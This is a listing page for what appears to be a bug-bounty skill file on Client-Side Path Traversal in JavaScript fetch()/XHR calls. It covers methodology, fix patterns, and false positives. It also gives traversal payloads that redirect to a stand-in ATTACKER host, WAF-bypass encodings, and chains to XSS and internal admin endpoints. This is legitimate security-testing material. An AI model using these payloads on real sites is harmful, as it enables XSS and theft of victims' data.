Cspt
Use when hunting Client-Side Path Traversal (CSPT) vulnerabilities where attacker- controlled input is unsafely concatenated into the path component of a JavaScript fetch() or XHR request. Trigger on: "CSPT", "client-side path traversal", "fetch path traversal", "XHR path injection", "fetch concatenation", "../ in fetch", "user input in fetch URL", "path component injection", fetch redirect chaining, CSPT to XSS, open redirect fetch, "JavaScript fetch user input", DOM fetch injection.From its SKILL.md
npx -y skills add ShulkwiSEC/bb-huge --skill csptAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 21 stars21 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its file declares
Copied from the file, not written here
The file declares its own license as MIT. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.
SKILL.md
8.3 KB, ~1.9k tokens by cl100k_base, as published. Nobody here has run it
Client-Side Path Traversal (CSPT)
What Is Broken and Why
Client-Side Path Traversal occurs when attacker-controlled input is concatenated
directly into the path component of a JavaScript fetch() or XHR URL without
proper encoding. The injected ../ sequences traverse the URL path, redirecting
the request to an unintended endpoint. Unlike server-side path traversal (which
reads files), CSPT redirects API calls — enabling response injection, data exfiltration,
and XSS when chained with an open redirect that fetch() auto-follows to an
attacker-controlled domain.
Key Signals
- JavaScript source with user-controlled input concatenated into a fetch/XHR path:
fetch("/api/users/" + userId + "/profile") fetch(`/api/posts/${postId}/comments`) xhr.open("GET", "/api/data/" + param) - Input lands in the path segment (before
?), not the query string - No
encodeURIComponent()wrapping the input, or encoding applied only to specific chars - Application has open redirect endpoints (
/redirect?u=,/oauth/authorize?redirect_uri=) - SPA frameworks where routing inputs feed directly into API calls
- Response content is rendered as HTML or passed to
innerHTML/eval()
Methodology
- Map all
fetch()/XHRcalls in JavaScript source — look for string concatenation in the URL path. - Identify which parameters control the path segment (not query string).
- Test basic traversal: inject
../../../anything— did the request path change? - Determine depth needed: count path segments to traverse to root or to a useful endpoint.
- Find a usable gadget endpoint — open redirect (
/redirect?u=ATTACKER) or any endpoint whose response is reflected in the DOM. - Craft final payload: traverse to the gadget, chain to attacker-controlled response.
- If WAF blocks, apply encoding bypass strategy (see table below).
- Confirm XSS or data exfiltration via OOB callback.
WAF Bypass: Encoding Level Matrix
| Situation | Strategy | Example |
|---|---|---|
| No WAF | Use plain ../ | ../../../gadget |
| WAF level = App level | Encode dots: %2e%2e/ | %2e%2e/%2e%2e/%2e%2easdf |
| WAF level < App level | Over-encode slashes | ..%252f..%252f..%252fasdf |
| WAF level > App level | Pad with dummy segments | a%252fa%252fa%252fa/../../../../asdf |
Depth = (number of path segments) − (number of ../ sequences).
WAFs check that depth never goes negative. Pad to keep WAF depth ≥ 0 while making app depth < 0.
Payloads & Tools
// Basic CSPT test — confirm path traversal in fetch
fetch("/api/users/../../../anything")
// → request goes to /anything
// Traverse to open redirect gadget for XSS
// Target app has: /redirect?u=<URL> → 302 to URL
// fetch() auto-follows redirects by default
fetch("/api/users/../../../../redirect?u=https://ATTACKER/evil.json")
// → fetch follows redirect → attacker controls response
// Depth calculation example
// Vulnerable URL: /api/users/{id}/profile
// Segments above id: 3 (/api/users/profile)
// Need 3 x "../" to reach root
payload = "../../../redirect?u=https://ATTACKER/payload"
# WAF bypass payloads (equal encoding levels — encode dots)
%2e%2e/%2e%2e/%2e%2eredirect?u=https://ATTACKER
# WAF level < App level (double-encode slash)
..%252f..%252f..%252fredirect?u=https://ATTACKER
# WAF level > App level (pad with dummy segments WAF decodes away)
a%252fa%252fa%252fa/../../../redirect?u=https://ATTACKER
# Burp: intercept, modify path param, inject traversal sequences
# Search JS source for fetch/XHR concatenation patterns
grep -rn 'fetch(\|xhr.open\|axios.get\|axios.post' src/ | grep '+'
grep -rn 'fetch(`\|fetch("' src/ | grep '\${'
Bypass Techniques
%2e%2e/instead of../: browser normalizes%2eto.— functionally identical but bypasses string-match WAFs- Double-encoded slash (
%252f): WAF decodes once →%2f(safe-looking); app/browser decodes again →/(traversal) - Mixed encoding: combine
%2e%2ewith%252f:%2e%2e%252f— confuses WAFs that check for specific patterns - Null byte / fragment: some implementations stop path processing at
%00or#— may truncate WAF's depth check - Redirect chain: if direct domain SSRF is blocked, chain through multiple open redirects on trusted domains
fetch()redirect modes:fetch(url, {redirect: 'follow'})is default — attacker's redirect is automatically followed including cross-origin
Exploitation Scenarios
Scenario 1 — CSPT → Open Redirect → XSS
Setup: SPA fetches user content via fetch("/api/posts/" + postId) and renders the JSON response into the DOM.
App also has /oauth/redirect?to=<URL> open redirect endpoint.
Trigger: Attacker sets postId = "../../../../oauth/redirect?to=https://ATTACKER/evil.json".
Impact: fetch() follows redirect to attacker's server → attacker returns crafted JSON with XSS payload → app renders it into DOM → stored or reflected XSS.
Scenario 2 — CSPT for internal endpoint access
Setup: Frontend fetches /api/v1/users/{id}/settings — id comes from URL hash fragment without encoding.
Internal endpoint /api/v1/admin/config is not accessible from outside but is reachable server-side.
Trigger: Attacker injects ../../../../admin/config as the id.
Impact: fetch() sends request to /api/v1/admin/config with the victim's session cookie — response returned to attacker via XSS gadget or exfiltrated.
Scenario 3 — WAF bypass via encoding mismatch
Setup: WAF decodes once before depth-checking; app passes encoded URL to browser which decodes twice.
Trigger: Attacker uses ..%252f..%252f..%252fredirect?u=https://ATTACKER — WAF sees ..%2f..%2f..%2fredirect (depth 0, benign); browser sees ../../../redirect (traversal).
Impact: WAF passes the request; browser executes traversal; open redirect reached; XSS achieved.
False Positives
- Input lands in query string (
?id=../..) not path — server routing ignores it, no traversal encodeURIComponent()wraps the input —../becomes..%2Fwhich browsers do NOT normalize back in the path- Fetch request targets a static file server that doesn't serve sensitive endpoints at the traversed path
- Response is not rendered or used in any DOM-modifying operation — traversal has no impact
Fix Patterns
// WRONG: direct concatenation into path
fetch("/api/posts/" + postId + "/comments")
// CORRECT: encode the input — encodeURIComponent prevents traversal
fetch("/api/posts/" + encodeURIComponent(postId) + "/comments")
// CORRECT: validate input is a safe identifier (no slashes or dots)
if (!/^[a-zA-Z0-9_-]+$/.test(postId)) throw new Error("Invalid ID");
fetch("/api/posts/" + postId + "/comments")
- Always apply
encodeURIComponent()to user-controlled values inserted into URL paths - Validate that path parameters match expected format (alphanumeric IDs, UUIDs) before use
- Do not rely on WAF depth-checking alone — fix at the source
- Audit all
fetch()/XHR calls where the URL is constructed via string concatenation or template literals with user input
Related Skills
[[dom-xss]] is the most common impact of CSPT: the path traversal redirects fetch() to an attacker-controlled URL that returns a payload rendered into a dangerous DOM sink like innerHTML. [[csrf]] is another direct chain — CSPT can redirect a form's fetch target to change the endpoint a state-changing submission hits, effectively forging the destination of an authenticated request. The WAF encoding bypass matrix here parallels [[path-traversal]] encoding techniques, since both exploit URL normalization disagreements between parser layers.
What ships with it
Read from the repository
Just SKILL.md. No reference files, no scripts.